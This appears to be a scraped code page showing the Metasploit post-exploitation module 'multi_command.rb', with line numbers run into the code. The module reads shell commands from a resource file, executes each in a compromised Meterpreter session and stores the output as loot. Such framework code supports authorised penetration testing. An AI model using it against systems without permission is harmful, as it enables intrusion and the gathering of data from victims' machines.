Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/multi_command.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Multi Gather Run Shell Command Resource File',12'Description' => %q{13This module will read shell commands from a resource file and14execute the commands in the specified Meterpreter or shell session.15},16'License' => MSF_LICENSE,17'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],18'Platform' => %w[bsd linux osx unix win],19'SessionTypes' => ['meterpreter']20)21)22register_options(23[24OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])2526]27)28end2930# Run Method for when run command is issued31def run32print_status("Running module against #{sysinfo['Computer']}")33if !::File.exist?(datastore['RESOURCE'])34raise 'Resource File does not exist!'35else36::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|37next if cmd.strip.empty?38next if cmd[0, 1] == '#'3940begin41tmpout = "\n"42tmpout << "*****************************************\n"43tmpout << " Output of #{cmd}\n"44tmpout << "*****************************************\n"45print_status "Running command #{cmd.chomp}"46tmpout << cmd_exec(cmd.chomp)47vprint_status tmpout48command_log = store_loot('host.command', 'text/plain', session, tmpout,49"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt", "Command Output \'#{cmd.chomp}\'")50print_good("Command output saved to: #{command_log}")51rescue ::Exception => e52print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")53end54end55end56end57end585960